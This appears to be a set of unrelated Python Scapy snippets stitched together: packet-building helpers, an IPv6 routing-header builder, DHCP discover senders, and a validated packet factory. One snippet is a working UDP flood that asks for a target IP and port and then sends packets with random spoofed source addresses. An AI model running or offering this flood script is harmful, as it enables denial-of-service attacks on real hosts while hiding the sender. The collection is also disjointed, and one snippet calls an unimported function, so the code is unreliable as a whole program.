def UDP_layer(attributes): layer4 = UDP() layer4.sport = attributes['sport'] layer4.dport = attributes['dport'] layer4.len = attributes['len'] return layer4
def makePacket(dstip, ethaddr, rthdr): # MAC address of router interface on senderSend private network. # Don't know why Scapy can't figure this out on its own. eth = Ether(dst=ethaddr) iphdr = IPv6() iphdr.dst = dstip # this is necessary for srh iphdr.src = C.senderSendIp # Routing Header = 43, UDP = 17 iphdr.nh = 17 if rthdr == "" else 43 udphdr = UDP() udphdr.sport = 11111 udphdr.dport = 3000 payload = "$" return eth / iphdr / rthdr / udphdr / payload
''' Sample script to send a DHCP discover ''' import scapy from scapy.sendrecv import sendp, sniff from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP # data link layer ethernet = Ether() ethernet.dst = 'ff:ff:ff:ff:ff:ff' # network layer ip = IP() ip.dst = '255.255.255.255' # transport layer udp = UDP() udp.sport = 68 udp.dport = 67 # application layer bootp = BOOTP() bootp.flags = 1 dhcp = DHCP() dhcp.options = [("message-type", "discover"), "end"] packet = ethernet / ip / udp / bootp / dhcp ans = srp1(packet)
#!/usr/bin/python from scapy.all import IP,UDP,RandIP,send from random import randrange ip = raw_input("Target IP: ") port = input("Port: ") times = input("Packet Nums: ") b=IP(src=RandIP(),dst=ip,ttl=10) c=UDP(dport=port) tmp=1 while(True): randport = randrange(1025,65535,1) c.sport = randport a=b/c send(a) if (tmp == times): break else: tmp = tmp + 1
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP # data link layer ethernet = Ether() ethernet.show() ethernet.dst = "ff:ff:ff:ff:ff:ff" # network layer ip = IP() ip.show() ip.dst = "255.255.255.255" # transport layer udp = UDP() udp.show() udp.sport = 68 udp.dport = 67 # application layer bootp = BOOTP() bootp.show() bootp.flags = 1 dhcp = DHCP() dhcp.show() dhcp.options = [("message-type", "discover"), "end"] packet = ethernet / ip / udp / bootp / dhcp sendp(packet)
def create_packet(packet_proto=PacketProto.TCP, **kwargs): """Creates network packet of IP and associated TCP or UDP corresponding packets via Scapy :param: packet_proto denotes IP packet layer (protocol) to create, ex: TCP, UDP, ICMP :type: PacketProto :param: flags TCP flags to enabel in packet, ex: 'AFS' :type: str :param: kwargs dictionary for packet creation src = IP address of source sport = IP source port dst = IP address of destination dport = IP destination port src_mac = Ethernet MAC address of source :rtype: dict :return: scapy packet :rtype: pkt :raise: ValidationError if method parameter validation fails """ errors = {} if 'flags' in kwargs and not valid_flags(kwargs.get('flags')): errors["tcp_flags"] = "Invalid TCP flag(s): " + kwargs.get('flags') if 'flags' in kwargs and packet_proto != PacketProto.TCP: errors["flags"] = "Invalid flags cannot be passed non TCP packet" if 'dport' in kwargs and not valid_port(kwargs.get("dport")): errors["dport"] = "Invalid destination port " + str( kwargs.get("dport")) if 'sport' in kwargs and not valid_port(kwargs.get("sport")): errors["sport"] = "Invalid source port " + str(kwargs.get("sport")) if 'src' in kwargs and not valid_ip(kwargs.get("src")): errors["src"] = "Invalid source IP address " + kwargs.get("src") if 'dst' in kwargs and not valid_ip(kwargs.get("dst")): errors["dst"] = "Invalid destination IP address " + kwargs.get("dst") if 'src_mac' in kwargs and not valid_mac(kwargs.get("src_mac")): errors["src_mac"] = "Invalid source MAC address " + kwargs.get( "src_mac") if 'dst' not in kwargs: errors["dst"] = "Destination IP address required" if packet_proto == PacketProto.TCP and 'dport' not in kwargs: errors["tcp_dport"] = "Destination port required for TCP packet" if errors: raise ValidationError("Invalid IP creation", errors) # create scapy packet # pylint: disable=invalid-name ip = IP(dst=kwargs.get("dst")) if 'src' in kwargs: ip.src = kwargs.get("src") LOGGER.debug("Set Src IP " + ip.src) if packet_proto == PacketProto.TCP: tcp = TCP(dport=int(kwargs.get("dport"))) if 'sport' in kwargs: tcp.sport = int(kwargs.get("sport")) tcp.flags = kwargs.get("flags") LOGGER.debug("Set TCP Flags " + str(tcp.flags)) packet = ip / tcp elif packet_proto == PacketProto.UDP: udp = UDP(dport=int(kwargs.get("dport"))) LOGGER.debug("Set UDP Dest Port " + str(udp.dport)) if 'sport' in kwargs: udp.sport = int(kwargs.get("sport")) LOGGER.debug("Set UDP Src Port " + str(udp.sport)) packet = ip / udp elif packet_proto == PacketProto.ICMP: LOGGER.debug("Set ICMP packet") icmp = ICMP() packet = ip / icmp else: errors[ "packet_proto"] = "Invalid packet protocol passed (unrecognized)" raise ValidationError("Invalid IP creation", errors) if 'src_mac' in kwargs: ether = Ether(src=kwargs.get("src_mac")) LOGGER.debug("Set Ethernet MAC Addr " + ether.src) packet = ether / packet LOGGER.debug(packet.show()) return packet